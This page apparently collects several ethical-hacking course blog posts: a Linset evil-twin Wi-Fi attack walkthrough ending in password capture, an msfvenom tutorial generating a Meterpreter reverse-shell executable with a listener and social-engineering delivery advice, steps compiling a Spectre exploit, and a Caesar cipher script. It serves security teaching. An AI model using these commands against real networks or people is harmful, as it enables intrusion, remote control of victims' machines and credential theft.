Linset

April 2nd, 2019 Posted by Blog, Members Only 0 thoughts on “Linset”

Linset is a tool of Spanish origin for that reason we have some screenshot in Spanish.

If you are one of the people who like to test the security of wireless networks, Wifislax is the Linux distribution that will help you a lot. In this blog, we will show you one of the tools that are integrated.

The first thing we have to do is to download Wifislax.

Download links:

LINK1 FTP OFICIAL: http://www.downloadwireless.net/isos/wifislax64-1.0-final.iso

LINK2 MEDIAFIRE: http://www.mediafire.com/file/25rsmyz449g2csc/wifislax64-1.0-final.iso

LINK3 MEGA:  https://mega.nz/#!jsglSLxb!bZgdN7yeWvL2-xzPv7-15FOHf8FHnH6lWvCNogy2hTQ

DRIVER NVIDIA: http://www.mediafire.com/file/zoaebscconl6xrv/Driver_NVIDIA-367.57_wifislax64-x86_64-8sw.xzm

DRIVER AMD: http://www.mediafire.com/file/l422ezur7z2b61o/Driver_AMD-15.12_wifislax64-x86_64-8sw.xzm

After the download, you can install them as a virtual machine or in a pen driver, At the moment of initiating Wifislax we will have the following option, we select Run whit smp kernel, and enter

Select wifislax with KDE Desktop and enter.

Let’s hope that Wifislax does not show its desktop environment

If you have wifislax installed as a virtual machine, you must connect a wifi antenna and it can be a USB and you have to configure VirtualBox or VmWare to recognize your Wifi Usb card.

Now we click on linset as shown in the following image.

At this moment we have our tool ready to use.

The first thing that is asked is what adapter do we want to use? But in this case, we only have one option, so we press the 1 key and enter.

Then it asks us if we want all the channels or a specific channel. Take option one to analyze all the channels.

As you can see we are already scanning the WiFi networks that our antenna can capture.

For this case we will take the network called INFOSECADDICTS.

We close the scanning window to get the other options

we choose option 1

We select option 1 to perform a massive de-authentication of the AP

we have captured the handshake

we choose option 1 which corresponds to a neutral interface.

we select the English language

Now we just have to wait for the user to connect so that linset will ask for the password.

below we have the screenshot of the experience of a normal user connected to the network.

We have cloned the AP automatically as shown in the following image.

As soon as a user connects, we can see which sites he is consulting.

Now you are forcing him to write the password again.

Bingo, we have captured the password. we can already use metasploit or any other tools to compromise the connected devices in the network.

Resources:

https://www.wifislax.com/

Try Certified Ethical Hacker for FREE!!!https://infosecaddicts.com/course/certified-ethical-hacker-v10/

How to use msfvenom

March 30th, 2019 Posted by Blog, Members Only 0 thoughts on “How to use msfvenom”

Msfvenom is the combination of payload generation and encoding. It replaced msfpayload and msfencode on June 8th 2015.

Entering from the ubuntu terminal with root user.

The new tool msfvenom incorporates a help in the terminal itself so that we know the “flags” that we can use, to enter this help it is enough to type:

To see what payloads are available from Framework, you can do:

msf5> msfvenom -l payloads

or

# msfvenom -l payloads

How to generate a payload

This command uses msfvenom to create a malicious executable file that will open a Meterpreter session using a reverse TCP payload. The listening host is your own computer.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.14 LPORT=4444 -f exe -a x64 -o /home/infosecaddicts/infoecaddicts.exe

We have created our malicious file called infosecaddicts.

This handler will listen for the payload and attempt to open a Meterpreter session onto the victim’s computer.

msf> use exploit/multi/handler
msf> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf> set LHOST 192.168.1.14
msf> set LPORT 4444
msf> run

After creating our malicious file, we have to get it to the victim’s machine to execute it, you can use social engineering or any other method.

As a result, you will have the meterpreter session.

In the same way that we did it for windows we can do it for any other operating system for examples: Android, iOS, Liniux etc …

Resources:

https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom

If you are interested in learning more, we invite you to review this course.

Ultimate Hacklab Self Paced

Try Certified Ethical Hacker for FREE!!!

Compiling code in Linux

March 25th, 2019 Posted by Blog, Members Only 0 thoughts on “Compiling code in Linux”

Cybersecurity tools are not always ready to be used or run in operating systems, many times we will not find applications in their source code or binary, so knowing the different ways to compile code in Linux is an essential convention on the way to becoming a security expert.

A compiler allows us to translates the high-level code into low-level or machine code.  There are many ways to compile code in Linux If you want to compile C code, it is necessary to have installed in your system a gcc compiler, which is responsible for translating the high-level code into binary code understandable by the machine. In the same way, programming languages such as Ruby, Python, and others use their own compilers to be able to be executed in the system.

Binary and Source Code

Before running a program in Unix-like systems, first, we should compile and then execute. A program could be available in a binary format or source code.

A binary is a package that has already been pre-compiled, in general, a binary match with the OS’s platform, which means that the application has been adjusted to a specific architecture, for example, we can find binary .deb for 64AMD or .rmp for i386. We need to put this binary into our filesystem and run a package manager like apt or yum. In theory, it could already be executed for its use but if the dependencies or libraries are not installed in the system, the program will not work. That is why we must be sure that everything necessary is in the system so that the application can be executed.

It is important to understand that not always will we find a package for a a given system, so the option is to compile the source code since it is not adjusted to any architecture or system. The source code, we could say is the RAW code with a defined format so it can be compiled. In general, the source code is packaged into a .tar, .zip archive compress.

Ways to compile source code in Linux:

In Linux we can compile code in different ways, using the language of the compiler itself or by using operating system tools.

Using a Language compiler

For our LAB we will use ubuntu-infosecaddicts VM and the exploit that we find in https://github.com/Eugnis/spectre-attack/archive/master.zip, this exploit is done in C language and we will use GNU gcc compiler. This exploit allows us to attack processors breaking the isolation and extracting data from a memory.

Most  Unix-like systems are integrated with the gcc compiler. GCC is an integrated compiler of the GNU project for C, C ++, Objective C and Fortran; is able to receive a source program in any of these languages and generate a binary executable program in the language of the machine where it has to run. The acronym GCC means “GNU Compiler Collection”. Originally it meant “GNU C Compiler”; GCC is still used to designate a compilation in C. G ++ refers to a compilation in C ++.

First, we can check if gcc is installed:

run

gcc –version

The syntax

gcc <sourcecode.c> [options] <output>

Now,

1. Download 
wget https://github.com/Eugnis/spectre-attack/archive/master.zip.
2. unzip master.zip
3. Enter to the directory uncompress 
cd spectre-attack-master
4. Compile 
gcc Source.c -o spectre.out 
(if we open spectre.out with any text edit we will see that it is not human readable).
5. execute 
./spectre.out`

If the processor is vulnerable we will see the message “The Magic Words are Squeamish Ossifrage” in memory.

In this case, gcc creates the binary spectre.out which is the executable program itself.

Using the operating system tools

 

Unix-like systems have several tools that help when compiling code manually, one of them is the very well known GNU make. 

The make utility automatically determines which pieces of a large program need to be recompiled, and issues commands to recompile them.

A project needs to meet some criteria so that it can be compiled with the make tool. Each project needs a Makefile. A Makefile is a script that describes the project structure, namely, the source code files, the dependencies between them, compiler arguments, and how to produce the target output.

Examining our master.zip file, we see the file makefile, next, we compile our source code:

  1. Into the directory cd spectre-attack-master
  2. Run make makefile

This action will create the binary spectre.out similar to the previous process using gcc as a compiler.

If you are interested in learning more, we invite you to review this course.

Ultimate Hacklab Self Paced

Try Certified Ethical Hacker for FREE!!!

Cryptography Caesar Shift Cipher

March 16th, 2019 Posted by Blog, Members Only 0 thoughts on “Cryptography Caesar Shift Cipher”

To understand well the concept of Cryptography we will look at a simple example and very famous that you will solve with Python 3, I am always doing emphasis on Python because it is a great language and easy to learn.

Cryptography is one of most interesting branches of programming. Studying its algorithms usually begins with the simple method named after famous Roman emperor Julius Caesar who used it for communicating his military secrets (and perhaps for love letters to Cleopatra).

We will practice deciphering encrypted messages in this problem.

The idea of the algorithm is simple. Each letter of the original text is substituted by another, by the following rule:

  • find the letter (which should be encrypted) in the alphabet;
  • move K
    positions further (down the alphabet);
  • take the new letter from here;
  • if “shifting” encountered the end of the algorithm, continue from its start.

For example, if K=3(shift value used by Caesar himself), then Abecomes D,  becomes E, W
becomes Zand Z becomes Cand so on, according to the following table:

There are many ways to solve this problem; then we have one of them if you invent a little more with python or ruby you can answer this with only three lines of code.

ls=[]
quantity=[]
quantity.append(input("""Write the number of words and the value of "K"
for example: 1 3: """))
quantity =" ".join(quantity)
quantity=quantity.replace(" ", ",")
i=0

while i<int(quantity[0]):
    ls.append(input("Write the words separated by space and end with 'point'. : "))
    i=i+1

ls=" ".join(ls)
ls=ls.replace("", ",")
ls=ls.split(",")
k=int(quantity[2])
lsn=[]

lsl=["A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"]
j=0
while j < len(ls):
    i=0
    while i < len(lsl):
        if ls[j]==lsl[i]:
            lsn.append(lsl[i-k])
        i=i+1
    if ls[j]==" ":
        lsn.append(" ")
    if ls[j]==".":
        lsn.append(". ")
    j=1+j
lsn="".join(lsn)
print ("decrypted message: ")
print(lsn)
exit = input("EXIT")

let’s look at what this code does in python.

if we receive the following message and they tell us K = 3

“LQIRVHFDGGLFWV LV WKH EHVW”

This is very simple, and the idea was to show how it works. Something a little more complex would be to decipher what would be the value K. the encryption methods are much more complicated than all the above.

Many tools decipher in seconds, and some use artificial intelligence.

Resources:

http://www.codeabbey.com/

If you are interested in learning more, we invite you to review this course.

Python For InfoSec Professionals